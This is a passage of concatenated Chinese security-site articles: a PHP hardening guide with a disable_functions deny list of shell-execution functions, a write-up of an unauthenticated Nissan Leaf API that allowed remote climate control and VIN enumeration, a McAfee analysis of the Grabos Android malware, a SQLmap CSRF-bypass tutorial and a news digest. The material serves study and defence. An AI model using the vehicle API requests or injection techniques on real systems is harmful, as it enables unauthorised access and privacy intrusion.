cmd进入mysql安装的bin目录执行：
mysqld.exe –install
这样就创建了服务。
然后设置服务的启动用户：
服务启动：
net start mysql
**0x05.5 配置低权限mysql用户test**
新建用户：
CREATE USER 'test'@'localhost' IDENTIFIED BY 'test';
创建数据库testDB：
create database testDB;
test只对testDB有权限：
GRANT ALL ON testDB.* TO 'test'@'localhost';
**0x05.6 php配置做限制**
**0x05.6.1 限制php可访问目录**
在php.ini中配置：
open_basedir = C:phpstudyWWW
**0x05.6.2 限制php可执行命令**
在php.ini中配置：
disable_functions=passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,stream_socket_server,escapeshellcmd,dll,popen,disk_free_space,checkdnsrr,checkdnsrr,getservbyname,getservbyport,disk_total_space,posix_ctermid,posix_get_last_error,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname
0x05.6.3 关闭错误提示
display_errors = Off
0x05.6.4 关闭全局变量
register_globals = off
**
**
**0x06 效果**
经过以上的配置之后，网站就相对安全了。即使是攻击者拿到了网站的shell之后，也会发现文件访问受限了，数据库操作受限了，命令执行也受限了，内心相当崩溃。
我们可以试试，当上传一句话后，攻击者用菜刀连接：
发现只能访问WWW下文件，出不去了，因为php上做了限制。
命令执行函数用不了，也是从php上做的限制。
数据库只能操作当前数据库，因为其登录用户为test，只对testDB有操作权限。 | 社区文章 |
# 通过API漏洞控制Nissan Leaf电动汽车
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://www.troyhunt.com/2016/02/controlling-vehicle-features-of-nissan.html>
译文仅供参考，具体内容表达以及含义原文为准。
**在我曝光了Nissan Leaf车载应用程序的漏洞之后，安全研究人员还发现，攻击者不仅可以通过网络连接Nissan
Leaf电动汽车，而且还可以在不受尼桑所设计的应用程序限制的情况下控制人们的Nissan Leaf电动汽车。**
后来我发现，我的朋友[Scott Helme](https://scotthelme.co.uk/)（他也是一名安全研究人员）也有一台Nissan
Leaf电动汽车，所以我们记录下了下面的这个视频，并在视频中进行了相应的演示操作。我之所以要将这个视频放在文章的开头，是因为我想让大家知道这个问题的严重程度，任何人都可以对你的Nissan
Leaf电动汽车做这些事情。别着急，我会在文章中对相关的技术细节进行详细地讨论：
大家可以看到，我选择了一个阳光明媚的地方来进行操作，而与此同时，Scott却在寒风中颤抖，但他的“牺牲”是为了给大家演示：即使你在非常遥远的地方，你也可以控制别人的汽车。没错，遥远的地方指的就是地球的另一端。接下来，我将给大家讲解我们是如何一步一步地获取到这台Nissan
Leaf电动汽车的控制权，并且还会解释为何其他国家的电动汽车也有可能会被远程控制。
下图即为[目前全世界销量最高的电动汽车](https://en.wikipedia.org/wiki/Nissan_Leaf)－Nissan
Leaf电动汽车：
**连接Nissan Leaf电动汽车**
在挪威等国家，Nissan
Leaf电动汽车是非常受欢迎的，因为挪威政府向民众提供了大量的财政补贴，目的就是为了鼓励大家使用清洁能源，远离汽油和柴油等化石燃料。你所期待电动汽车应该具有的功能，Nissan
Leaf电动汽车都一应具全，因为它诞生于这个物联网时代，而且它还配备有一个内置的车载应用程序：
在好奇心的驱使之下，我在我的手机中安装了[NissanConnect
EV应用程序](https://itunes.apple.com/us/app/nissanconnectsm-ev/id407814405?mt=8)，整个安装过程需要几分钟的时间，在对这款应用程序进行了使用体验之后，我便立刻卸载了这个程序：
上图显示的是该程序的主界面，这个界面并不会泄漏我的个人信息。当我打开这个程序之后，我观察到了下列请求信息（我对网络主机名以及车辆识别码的最后五位数进行了混淆处理）：
GET https://[redacted].com/orchestration_1111/gdc/BatteryStatusRecordsRequest.php?RegionCode=NE&lg=no-NO&DCMID=&VIN=SJNFAAZE0U60XXXXX&tz=Europe/Paris&TimeFrom=2014-09-27T09:15:21
而这个请求信息将会返回下图所示的JSON响应信息：
如果你能看懂这些响应信息，那么一切都会不解自明：我们可以从上面这段响应信息中了解到汽车的电池电量状态。但是，真正引起我注意力的事情并不是我能接收到有关汽车当前电池电量的信息，而是在我手机所发送的请求信息中，并没有包含任何有关身份验证的信息。换句话来说，我莫名其妙地实现了匿名访问API。这是一个GET请求，所以该请求并没有传递任何有关身份验证的内容，而且也没有在请求的header中添加任何的令牌信息。实际上，唯一能够识别出目标车辆的根据就是其车辆识别码，而这一信息也可以从上述的URL地址中看到。
[车辆识别码](https://en.wikipedia.org/wiki/Vehicle_identification_number)可以唯一标识一架Nissan
Leaf电动汽车的底盘，也就是说，每一架Nissan
Leaf电动汽车只能唯一对应一个车辆识别码。所以这个识别码肯定不应该作为身份验证过程中的秘密数据来使用。
从表面上看，似乎任何人只要能够知道Nissan
Leaf电动汽车的车辆识别码，他都可以得到该汽车的电池电量信息。但实际上，这个问题并没有大家想象中的那么严重，因为这是一个被动查询请求（它其实并不能够修改汽车的相关配置信息），而且在该请求的响应信息中并不会包含多少用户的个人敏感信息。但值得注意的是，他人可以通过OperationDateAndTime的数据来了解到目标车辆的车主最后的一次驾驶该汽车的时间。于是，我继续进行分析。
我发现，我还可以使用下列请求信息来检测车辆温度控制系统的当前状态：
GET https://[redacted].com/orchestration_1111/gdc/RemoteACRecordsRequest.php?RegionCode=NE&lg=no-NO&DCMID=&VIN=SJNFAAZE0U60XXXXX
上面这个请求信息将会返回与之前类似的响应信息，具体如下图所示：
实际上，我们也可以从NissanConnect应用程序中看到这些信息：
同样的，这也是一个被动请求信息，温度控制系统要么开启，要么关闭，这只是一个开关，你也不可能从中获取到什么有价值的信息。但是当我尝试开启它时，我观察到了下列的请求信息：
GET https://[redacted].com/orchestration_1111/gdc/ACRemoteRequest.php?RegionCode=NE&lg=no-NO&DCMID=&VIN=SJNFAAZE0U60XXXXX&tz=Europe/Paris
该请求信息将会接收到下图所示的响应信息：
但是这一次，系统却返回了用户的个人信息，例如userID，用户的userID很有可能使用的是其真实姓名。除此之外，响应信息中还包含有目标汽车的车辆识别码和请求的resultKey。
然后，我将汽车的温度控制系统关闭，并且发现这个应用程序还发出了下列请求信息：
GET https://[redacted].com/orchestration_1111/gdc/ACRemoteOffRequest.php?RegionCode=NE&lg=no-NO&DCMID=&VIN=SJNFAAZE0U60XXXXX&tz=Europe/Paris
在该应用程序所发出的所有请求信息中，没有附带有任何形式的身份认证信息，所以这些请求都是匿名发送的。与此同时，我还将这些请求信息加载进了Chrome浏览器中，我同样能够接收到相应的返回信息。所以现在我可以断定，这个应用程序的API绝对没有提供任何的访问权限控制。
**与其他的汽车进行连接**
我在网上进行了一番搜索之后，我发现了这样的一张图片：
很明显，这就是汽车的车辆识别码，我对识别码进行了混淆处理，但是网站上的这张图片却是清晰完整的。
在我进行更加深入地讨论之前，我需要说明一下，而这也是我经常挂在嘴边的事情：当一个潜在的安全漏洞被发现之后，你就必须仔细考虑如何去进行身份验证处理。而且我想澄清的一点就是，我们并不会去对他人的车辆进行恶意操作，即开启汽车的温度控制系统，而且我们也不会去从汽车中获取到有关车主的个人信息。
不同车辆的车辆识别码只在其最后五位数有所区别。我们提取出了这个识别码，并将其插入到了请求信息之中（这个请求信息并不会改变汽车的配置，也不会获取到用户的个人信息），看看是否能够接收到车辆的电池信息，在片刻过后，我们接收到了下图所示的响应信息：
这似乎意味着系统无法对我们所发送的这个请求信息进行处理，但我们尚不清楚其原因。在经过思考之后，我认为很有可能是因为这个车辆识别码并没有在NissanConnect应用程序中进行过注册，而且也有可能是因为上面这个URL地址中的某些参数有误。比如说，车辆识别码中有一段数据是用于标明产地信息的，也许是因为这一信息与汽车当前的位置有出入。
但是，我们也可以很容易地枚举出车辆识别码。这也就意味着，我们可以利用Burp Suite这样的工具来对枚举出的车辆识别码进行测试。
**总结**
我希望尼桑公司尽快修复这个问题。现在唯一的好消息就是，这个问题并不会影响车辆的驾驶控制系统。现在，大量的汽车制造商都想要往各自生产的汽车中添加物联网智能部件，而安全方面的问题也就浮出了水面。所以我希望各大厂商在推出某一款新产品之前，请确保这款产品的安全性。如果产品中存在严重的安全漏洞，受影响的不仅是消费者，企业辛辛苦苦建立的声誉也会分崩瓦解。 | 社区文章 |
# 【技术分享】谷歌商店又现新型恶意软件Grabos通过推广app牟利
|
##### 译文声明
本文是翻译文章，文章来源：mcafee.com
原文地址：<https://securingtomorrow.mcafee.com/mcafee-labs/android-malware-grabos-exposed-millions-to-pay-per-install-scam-on-google-play/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[Janus情报局](http://bobao.360.cn/member/contribute?uid=2954465307)
预估稿费：260RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**简介**
****
近期，McAfee移动研究团队在谷歌商店144个“木马化”的应用中发现了一种新型的Android恶意软件。McAfee团队将其命名为 **Grabos**
，因为该应用的代码中出现很多次该字符串，包括变量名和方法名。Grabos最初是在Android应用程序“Aristotle Music audio
player 2017”中发现的，该应用程序声称自己是一款免费音频播放器：
图1 谷歌商店里被植入木马的音乐应用
发现Aristotle Music恶意应用时，这款应用的用户评价很高，下载量也 **高达100~500万**
之间。然而应用最新的评论也有用户说，这款应用被检测为恶意软件。
图2 用户反应Aristotle Music被检测为恶意软件
**谷歌商店里的Grabos应用**
McAfee移动研究团队在今年九月份发现Grabos后，第一时间上报给谷歌商店，谷歌商店迅速删除了恶意应用程序。而经过进一步调查，McAfee团队又发现了其他
**143** 款应用(参见本文文末的完整列表)， **目前这些应用已从谷歌商店下架** 。而在McAfee上报给谷歌商店后，以下六款应用立即被移除：
图3 谷歌商店其他被植入木马的Grabos应用
在撰写本文时，34款应用仍然可以通过缓存访问它们的网页，因此也可以获取一些应用相关的信息，比如应用安装量，最后一次更新日期和用户评分。这些应用最后一次更新大多在今年8月份和10月份。它们在谷歌商店的平均评分为4.4，
**有大约420万~1720万的下载量。**
图4 谷歌商店的恶意应用详情
相关应用链接：[http://cloud.appscan.io/monitor.html?id=5a0c5dc002723815d6a3361b](http://cloud.appscan.io/monitor.html?id=5a0c5dc002723815d6a3361b)
Grabos能够避开谷歌商店的安全策略，可能是因为注入的恶意代码受到商业混淆程序的保护，在不运行应用程序的情况下进行静态分析就很困难。如果不知道应用程序的检查策略，即使对它进行动态分析，也很难阻止其检查策略的执行。但只要我们脱了壳，一切就可以继续进行了。
**孰真孰假**
我们发现，文件资源管理器和音乐播放器也被注入了Grabos，而这其中有一些是开源的。每当应用程序启动，它就会检查以下设置，再决定要启动“假(合法功能)”还是“真(注入打包代码)”应用。
**·** **isOnline** : 检查设备是否有网络连接。
**·** **getIsBlacklisted** :
检查Android调试桥(adb)和开发设置是否启动，或者设备是否在模拟器中。如果是后者，该设备会被列入黑名单，并启动“假”应用程序
**·** **getIsForcedBlacklisted** : 由控制服务器设置的flag。
代码还有一个测试模式，允许执行“真”应用，以防在模拟器中运行或启动adb和开发设置。这些检查都是在检测应用程序是否被执行动态分析，并在必要时隐藏代码。
如果应用未被分析或处于测试模式，“真”应用就会被启动。这个隐藏的音乐下载器会在YouTube上搜索特定的歌曲。一旦歌曲被选中，它就会以MP3或MP4的格式下载并被离线播放。
图5 真假应用流程图
看到这里，应用程序似乎只是一个隐藏在木马程序中的音乐下载器，它检查动态分析行为，以防止由于音乐版权被谷歌商店下架。然而，在这背后，还有更多惊人的事情默默发生。
**与控制服务器通信**
除了“假”应用和“真”应用功能外，Grabos也作为一个广播接收器（receiver）出现在 **AndroidManifest**
中。当连接发生变化或安装应用程序时，接收器执行。
图6 AndroidManifest中的Grabos接收器
如果接收端由于连接性变化而被执行，则当设备脱机时，执行结束，或者自上次连接后不到5秒的时间结束。如果超过5秒,方法“
**updateRemoteSettingsSynchronousTask**
”执行。该方法收集和加密(Base64+高级加密标准)以下来自受感染设备的数据:
**· 设备信息：**
**·** android_version(Android版本)
**·** build_model(手机型号)
**·** install_referrer(安装来源)
**·** network_country(网络国家代码)
**·** sim_country(SIM卡国家代码)
**·** carrier_name(设备名称)
**·** language_code(语言代码)
**·** country_code(国家代码)
**·** time_timezone(时间时区)
**· 设备定位：** Grab使用免费的IP地理定位API服务获取IP地址信息，比如城市、国家、ISP、组织、区域和邮政编码。
**· 设备配置：**
**·** is_emulator
**·** is_rooted
**·** is_adb_enabled
**·** is_dev_settings_enabled
**·** allow_mock_location
**·** allow_non_market (unknown sources enabled/disabled)
**·** is_vpn_connected
**·** dp checks (除了商业混淆程序提供的root，调试，模拟器检查)
**· 已安装Grabos应用信息：** 版本号、包名及安装时间
**· 安装特定应用：** 如果受感染的设备中安装了预先定义的列表中的应用，Grabos会将此信息上报。(稍后详细解释)
所有信息都经过加密并传输给控制服务器。远程服务器接收到信息后作出响应，返回包含下载音乐参数(URLs、API keys、user
agents,client_id等等)的加密数据，用来展示广告(nativead_id, interstitial_id,
banner_id等等)、显示特定的通知，比如要求用户在谷歌商店对该应用评分：
图7 控制服务器提供的“rate this app”参数
在应用第一次打开时会弹出评分窗口，如果点击“5星好评”按钮，应用程序会打开谷歌商店，用户可以在谷歌商店对应用进行评分。
图8 评分弹窗
用同样的方法，远程服务器也可以提供参数，让用户与朋友共享应用，承诺享受更快的下载速度：
图9 控制服务器提供的“share the app”参数
控制服务器还发送参数“ **is_forced_blacklist** ”，如果值为“true”，则手动将该设备列入黑名单，以防止隐藏应用程序的执行。
**神秘功能**
除了报告被感染的设备的位置和配置信息之外，Grabos还利用方法 **isPackageInstalled**
和应用包名，检查设备中是否安装了特定的社交及谷歌官方应用。根据当前安装的应用程序，相应的值设置为true或false，该信息被加密，并传输远程控制服务器:
图10 向控制服务器报告设备中的社交及谷歌应用列表
McAfee将这一发现报告给了谷歌。然而我们并不知道报告这些应用程序的目的。然而，我们相信这些信息对恶意软件作者是有用的，因为Grabos已经实现了几种机制，诱使用户安装远程服务器提供的应用程序。让我们来看一下这些函数。
**自定义推送通知和其他应用程序**
在从远程服务器获得初始设置之后，将执行AsyncTask **shownotificationifif**
，以检查控制服务器是否提供了参数n_title、n_description和n_package。如果已经提供了参数，Grabos会检查应用程序是否可以从谷歌商店获取(如果“pack”是一个名称而不是一个URL)，或者从远程服务器获取(如果“pack”以HTTP开头)。
如果应用程序未被安装并且可获取，Grabos会从远程服务器收集其他参数(比如，图标和大图标)，以创建自定义通知，诱导用户安装应用程序。
图11 控制服务器提供用于创建自定义通知的参数
Grabos也会检查远程服务器是否提供了以下参数：
**· interstitial_letang_options：** 提供延迟和重复活动显示的值。 (initial_delay and
min_interval)
**·** **interstitial_letang：** 包括以下远程指令:
**·** admob: 执行方法 “ **showAdmobInterstitial** ”
**·** nothing
**·** grabos_direct
如果该指令是grabos_direct，Grabos会获取参数grabos_direct_interstitial的title、package和max_times_shown值，以打开谷歌商店该应用页面或触发下载应用。
图12 URL下载应用或打开谷歌商店应用界面
通知和interstitial_letang方法都是为了欺骗用户下载或安装应用程序，当连接发生改变时，触发执行。不过，当音乐下载器执行时，Grabos还实现了另一个应用程序传输方法。这个方法，
**ShowGrabosIfNeeded**
，与interstitial_letang类似，它检查需要的参数是否存在，应用程序是否可用，以及是否可以在未经用户授权的情况下打开应用程序:
图13 Grabos检查已安装应用是否可以被打开
一旦Grabos确认设备在线，应用可从谷歌商店或远程服务器获取，并且应用包未曾安装，恶意软件会从远程服务器获取以下参数，用于创建一个警告弹窗，并诱导用户下载另外一个应用：
图14 Grabos用于创建警告弹窗的参数
**雷达下飞行：巧妙躲避分析**
除了采用多种方式检测应用是否被进行动态检测(模拟器、adb、开发设置)和注入代码加密，Grabos每24小时会更新远程设置(除非处于测试模式下)。这个限制可以通过修改设备的日期和时间进行绕过，我们就可以进行进一步的应用分析。然而，最新版本的Grabos包含了检查设备是否自动获取日期、时间和时区，这对于接下来的分析也带来了不小的挑战。
图15 Grabos检查设备是否自动获取日期、时间和时区
这个设置的状态通过字段time_is_auto和time_timezone_is_auto上报给远程控制服务器。虽然这个检查没有在Grabos代码中使用，但是信息可以用来确定应用是否处于动态检测，并绝对是否传输额外的payload。
控制服务器所使用的URL也表明，Grabos一直试图将其网络流量伪装成合法的。乍一看，URL似乎属于熟悉的广告软件公司，名字是相同的。然而，Grabos所使用的并不是官方的“.com”域名，而是“.link”、“.click”这种，而这些域名并没有被该广告软件公司注册。
最后，Grabos定义了额外的机制，目前尚未实现，该机制用于将特定设备加入黑名单或白名单。例如，该设备可能会在未来版本被列入黑名单或白名单，这取决于受感染设备的国家代码或配置语言：
图16 基于语言和国家代码的黑、白名单功能
Grabos还定义(但尚未实现)了基于IP地址将设备列入黑名单的方法
图17 基于IP地址信息的黑名单功能
**
**
**结论**
在我们分析这一威胁时，控制服务器总是为自定义通知提供空参数，以欺骗用户安装应用程序。考虑到显示广告的功能和大量的下载，我们认为Grabos的主要目的是
**通过推广应用程序的安装牟利** 。
Grabos在谷歌商店越来越流行，因为它允许用户免费下载音乐，尽管它不断要求用户对应用进行评分。然而，用户并不知道该应用背后的隐藏功能。
鉴于Grabos还上报了在受感染设备上出现的特定社交和谷歌官方应用，我们猜测不法分子利用这些信息，使用在代码中定义的各种通知方法诱导用户下载安装其他应用。尽管在我们分析的过程中，远程服务器并未传输所需的参数触发自定义通知，但是这些设备已经被成功标记，沦为其他Android应用的下载器。
McAfee移动安全将这一威胁标记为 **Android/Garbos** 。为了保护您免遭此类威胁，请在您的移动设备上使用安全软件，检查该应用的用户评论，
**避免使用功能与实际不符的可疑应用** 。
**
**
**Grabos包名列表**
com.picklieapps.player
com.musicaplayer.stonetemples
com.mp3musicplayer.playmusicmp3
com.densebutter.musicplayer
com.airplaneapps.soundmeter
com.dinosaursr.musicplayer
com.tenuousllc.humneate
com.astropie.musicplayer
info.chargeshoes.videoplayer
com.callsaver.doubtful
com.unfestenedsail.freeapp
com.extendmilk.freeplayer
com.excellentlossapps.playermusic
com.AliciaTech.free
com.mp3player.musicplayer.freelocalmusicplayer
com.freemusicplayer.freemusicplayer.free
com.afromusicplayer.fremediaplayer
com.info_astro.glider_player
com.illfatednotice.humdrum
com.headybowl.musicplayer
com.musicgratisplayerfree.free
com.naturityllc.mp3player
info.anothertube.music.player
com.startdancingapps.callrecorder
com.social.video.saver.pro
es.gratis.video.downloader.hd
com.sportingapps.copyleft_music.player
com.auto_call_recorder.freeapp
com.freenewsreader.rssfeed
ar.music.video.player
com.curatorinc.ringtone.search
com.mp3musicplayer.local_files_player
com.copyleft.stream.musica.player
info_de.mp3.music.player
com.nobodybeats.musicplayer
com.file.manager.pronessbest
info.ark.music.mp3.player
com.air.browser.free
com.aneeoboapps.playlistmanager
com.local_music_player.free_mp3_player
com.greenlinellc.voicechanger
com.free.playlist.creator.tube
com.toporganizer.fileorganizer
com.thumb.webbrowse
com.aspirator.ringtones.player
com.freevideoplayer.musicplayer
com.vimfast.videodl
com.whimsical.piano.free
com.truckneat.freeapp
com.crowdedarmy.volume.controller
com.arnold_legal.mp3.musica
com.descent.shutterfly
com.thankyou.arrowplayer
com.pocahantasapps.musicplayer
com.astroplayer.freee
com.couchpotato.musica.play_stream
com.abstractly.musica.player
com.matsumoto.mp3player
com.musicequalizer.freeequalizer
com.lifesbad.fileexplorer
com.videolunch.free
legal.copyleft.cc.mp3.music
com.ark.music.mp3.player
info.musik.mp3.music
com.streamerplayer.stream_videos
info.voicerecorder.recordvoice
com.snip.browser
com.checkrein.musicapp
com.mp3musicplayer.freemusicplayer.playmusic
com.jadedprogram.mp3player
com.preoral.freeborn
com.voice.changer.freeappsapp
es.streamplay.stream.player
com.localmp3music.freeplayer
com.drummachine.machinedrums
com.coloringbook.freetrynow
com.videodownloader.social_video_download
com.ElephantApps.FileManager
com.scaricare.app.musica
com.quicksearch.tube.player
com.rooseveltisland.mp3player
com.mindprogram.musicf
com.freeborn.sdkintegration
com.koseapps.tubemusica
fr.baixar.videos.gratis
info.adeptly.forgoneapp
us.musicas.gratis.player
com.miniaturef.swanky
com.insta.mp3.music.streamer
com.anchor.musicplayer
com.repeate.mp3musicplayer
com.FeisalLLC.MusicPlayer
com.shelfshare.freeapp
info.simple.streamer.player
com.streamplayer.freearnold
com.freeturkish.video.downloader
com.cowherd.freeapp
com.localmp3musicplayer.local_player
com.scaricare.apps.musica
com.silymove.freeapp
com.pinkphone.funfreetube
info.tissuepaper.freemusic
com.chopsuey.musicplayer
com.branchnotice.musicplayer
com.fradcip.MasterApp
sv.music.player.mp3.ares
com.social.video.downloader.for_fb
com.frobenius.time.tube
com.spelldoom.comeup
com.bailymusic.player
com.sportifco.musicplayer
com.topsaver.video.downloader
com.coupleweeks.modcium
com.unbecomingllc.videodownloader
com.video.for_fb.downloader.saver
com.macdrop.apptool
com.callsaver.recorderfreeapp
com.arnie_legal.mp3.musica
com.kikiapps.freeplayer
com.pintaapps.expensetracker
com.marble.musicequalizer
com.artproject.searcher
com.UnitTest.FreeApp
com.exudedplayer.freemusicplayer
com.blackballed.player
com.mp3player.decisiveapps
com.rusticd.musicplayer
com.byunhyeong.jungfree
com.voicelessapps.mp3musicplayer
com.localmp3player.freeplayer
com.kinokunya.free
com.socialvideo.downloader_vim
com.viastore.video.saver_for_fb
com.disarmbit.reache
com.crackerbalancellc.mp3converter
info.vaskollc.jpfree
com.freemusicplayer.musicplayfreetoolpalyer
com.combustionapps.musique
com.arnold.mp3.musica
com.purpleheadphones.audioplayer
com.unscalableapps.free
com.freefile.organizerfree
com.free.mp3.stream_cc_music
com.mp3uncle.musiccamera
**IOCs**
上文中34个应用：[http://cloud.appscan.io/monitor.html?id=5a0c5dc002723815d6a3361b](http://cloud.appscan.io/monitor.html?id=5a0c5dc002723815d6a3361b)
144个应用：<http://cloud.appscan.io/monitor.html?id=5a0c2235027238354a53cd94>
Grabos家族匹配规则：<http://cloud.appscan.io/monitor.html?id=5a0c729402723815d6a33621> | 社区文章 |
# 【技术分享】SQL注入：如何通过Python CGIHTTPServer绕过CSRF tokens
|
##### 译文声明
本文是翻译文章，文章来源：cobalt.io
原文地址：<https://blog.cobalt.io/bypassing-csrf-tokens-with-pythons-cgihttpserver-to-exploit-sql-injections-18f95e6152ff>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：110RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
在[Burp](https://portswigger.net/burp)上，我们可以使用多种方法来配置 **宏（macro）** ，以绕过HTML表单上的
**CSRF tokens** ，这样一来，我们就可以使用Burp Active Scans、Burp Intruder、Burp
Repeater，甚至也可以使用Burp Proxy进行渗透测试。我们也可以找到专为Intruder模块设计的Grep-Extract以及pitchfork攻击类型。当然，如果我们愿意的话，也可以开发自己的Burp
Extension。[Sqlmap](https://github.com/sqlmapproject/sqlmap)上也有 **-csrf-token**
以及 **-csrf-url** 参数来应付类似场景，如果不使用这些命令，我们可以按照之前描述的方法来配置Burp，然后在sqlmap中通过-proxy参数与Burp配合使用。
在本文中，我们会介绍另一种办法，那就是使用python中的[
**CGIHTTPServer**](https://pentesterslife.wordpress.com/2017/09/11/python-for-pentesters-the-practical-version/)来完成这一任务。
**二、实验环境**
我们构造了一个非常简单的PHP/mysql环境，登录后，你可以访问某个受限区域。你可以访问[此链接](https://gitlab.com/0x4ndr3/blog_post_csrf_bypass_with_cgihttpserver.git)获取实验所用的PHP代码，以便在其他场景做些修改或调整。不要在意代码细节，毕竟我并不是PHP专家，只是热衷于搭建满足需求的测试环境而已。实验环境有助于我们理解测试过程，在现实场景中寻找真正目标。
实验所用的CSRF tokens为一串随机生成的SHA256散列字符串，每个HTTP请求都对应一个不同的tokens。
**三、面临的问题**
不经过特殊配置时，Burp不会检测到这个问题。
同理，没有使用-csrf-token参数时，sqlmap也无能为力：
我使用了–technique、–dbms以及-p参数来加快扫描速度。由于这是一个简单的基于布尔值的SQL注入（boolean-based
SQLi），我们只需要使用默认的-level 1参数即可。但我们需要将-risk设置为3，因为只有使用较高的风险数值，我们才能测试OR类型的SQL注入（OR
boolean-based
SQLi）场景。OR类型的SQL注入非常危险，因为这种语句可以使任何条件的结果为真。比如，在使用WHERE子句的UPDATE或DELETE语句中，使用这种注入方式，你很有可能会不小心更新数据库中所有用户的密码，或者导出用户的凭据表，而这正是你在渗透测试中应该尽力避免的结果。
在sqlmap中，我们可以使用–csrf-token=”mytoken”参数检测到OR类型的SQL注入：
由于这是一个登录验证表单，很明显会对应一条SELECT语句，这意味着使用最高的风险等级3不会带来任何风险。
当然，如果你有有效的凭据（实际渗透测试中你很难具备这个条件），此时该场景也会受AND类型的SQL注入（AND boolean-based
SQLi）影响。然而，即使我拥有有效的凭据，我首先还是会使用另一个（有效的）用户名来寻找可用的OR类型SQLi，以免不小心锁定账户（如果存在账户锁定机制的话）。
在sqlmap中，我们可以使用 **–csrf-token=”mytoken”** 来检测AND类型的SQL注入：
**四、使用CGIHTTPServer**
创建如下CGI脚本：
我们将该脚本命名为mask.py，存放在xxx/cgi-bin/目录中，同时请确保.py文件为可执行文件。创建该文件后，我们需要在xxx目录中运行python -m
CGIHTTPServer命令。默认情况下，服务器会在8000/tcp端口上监听。
首先，使用正确的密码测试这个服务器：
然后，测试一下错误的密码：
现在，无需特殊配置，我们就可以使用Burp以及sqlmap来检测SQL注入漏洞。
这就好像我们添加了一个中间层，可以简化CSRF tokens给我们测试过程所带来的复杂度，现在我们无需刻意去提交这个token信息了。
**五、参考文献**
[1]
[Sqlmap](https://github.com/sqlmapproject/sqlmap/blob/master/doc/README.pdf)
[2]
[另外我们还可以使用Mechanizer来完成类似功能，以便扫描器能够检测到响应数据中存在的差异。](http://mechanize.readthedocs.io/en/latest/browser_api.html#the-response)
[3]
[Burp宏](https://portswigger.net/burp/help/options_sessions_macroeditor.html)
[4]
对渗透测试人员较为实用的[Python代码](https://pentesterslife.wordpress.com/2017/09/11/python-for-pentesters-the-practical-version/) | 社区文章 |
# 【知识】9月9日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要：
ShadowBrokers又发布了从NSA武器库泄露的Windows黑客工具、美国消费者信用报告机构Equifax被黑造成1.43亿个人信息泄露、攻击者可通过超声波静默控制Siri等语音助手代你发出指令、看我如何黑掉英国的税务系统、看我如何破解Dlink
850路由器然后滥用MyDlink Cloud协议**
****资讯类：****
********
**ShadowBrokers** 又发布了从NSA的武器库泄露的Windows黑客工具
<http://thehackernews.com/2017/09/shadowbrokers-unitedrake-hacking.html>
**ShadowBrokers** 发布NSA针对Windows用户的木马工具UNITEDRAKE用户手册
[https://www.schneier.com/blog/archives/2017/09/shadowbrokers_r.html](https://www.schneier.com/blog/archives/2017/09/shadowbrokers_r.html)
手册下载地址：
[https://assets.documentcloud.org/documents/3987443/The-Shaow-Brokers-UNITEDRAKE-Manual.pdf](https://assets.documentcloud.org/documents/3987443/The-Shaow-Brokers-UNITEDRAKE-Manual.pdf)
美国消费者信用报告机构 **Equifax** 被黑造成 **1.43亿** 个人信息泄露（姓名，驾照号码，住址等）
[https://www.nytimes.com/2017/09/07/business/equifax-cyberattack.html](https://www.nytimes.com/2017/09/07/business/equifax-cyberattack.html)
攻击者可通过超声波静默控制 **Siri** 等语音助手代你发出指令（包括访问恶意网站， **监听个人行为** ，注入虚假信息，拒绝服务攻击等）
<http://thehackernews.com/2017/09/ai-digital-voice-assistants.html>
**技术类：**
****
XFLTReaT：支持多种协议的隧道框架
[http://www.kitploit.com/2017/09/xfltreat-tunnelling-framework.html](http://www.kitploit.com/2017/09/xfltreat-tunnelling-framework.html)
[https://github.com/earthquake/xfltreat/](https://github.com/earthquake/xfltreat/)
看我如何黑掉 **英国税务系统**
[https://medium.com/@Zemnmez/how-to-hack-the-uk-tax-system-i-guess-3e84b70f8b](https://medium.com/@Zemnmez/how-to-hack-the-uk-tax-system-i-guess-3e84b70f8b)
SecLists: 安全测试人员的伴侣, 安全测评过程中的多种列表集(用户名，密码，URL)
[https://github.com/danielmiessler/SecLists](https://github.com/danielmiessler/SecLists)
恶意代码逆向手册
[https://zeltser.com/reverse-engineering-malicious-code-tips/](https://zeltser.com/reverse-engineering-malicious-code-tips/)
PDF版
[https://zeltser.com/media/docs/reverse-engineering-malicious-code-tips.pdf](https://zeltser.com/media/docs/reverse-engineering-malicious-code-tips.pdf)
看我如何破解Dlink 850路由器然后滥用MyDlink Cloud协议
[https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html](https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html)
Abusing JavaScript frameworks to bypass XSS mitigations
[http://blog.portswigger.net/2017/09/abusing-javascript-frameworks-to-bypass.html](http://blog.portswigger.net/2017/09/abusing-javascript-frameworks-to-bypass.html)
Using Alternate Data Streams to Bypass User Account Controls
[https://www.redcanary.com/blog/using-alternate-data-streams-bypass-user-account-controls/](https://www.redcanary.com/blog/using-alternate-data-streams-bypass-user-account-controls/)
[https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1](https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Invoke-WScriptBypassUAC.ps1) | 社区文章 |
# 【知识】6月22日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 对OpenVPN修补的几个漏洞分析、通过共享数组缓冲区实现Firefox UAF **、**
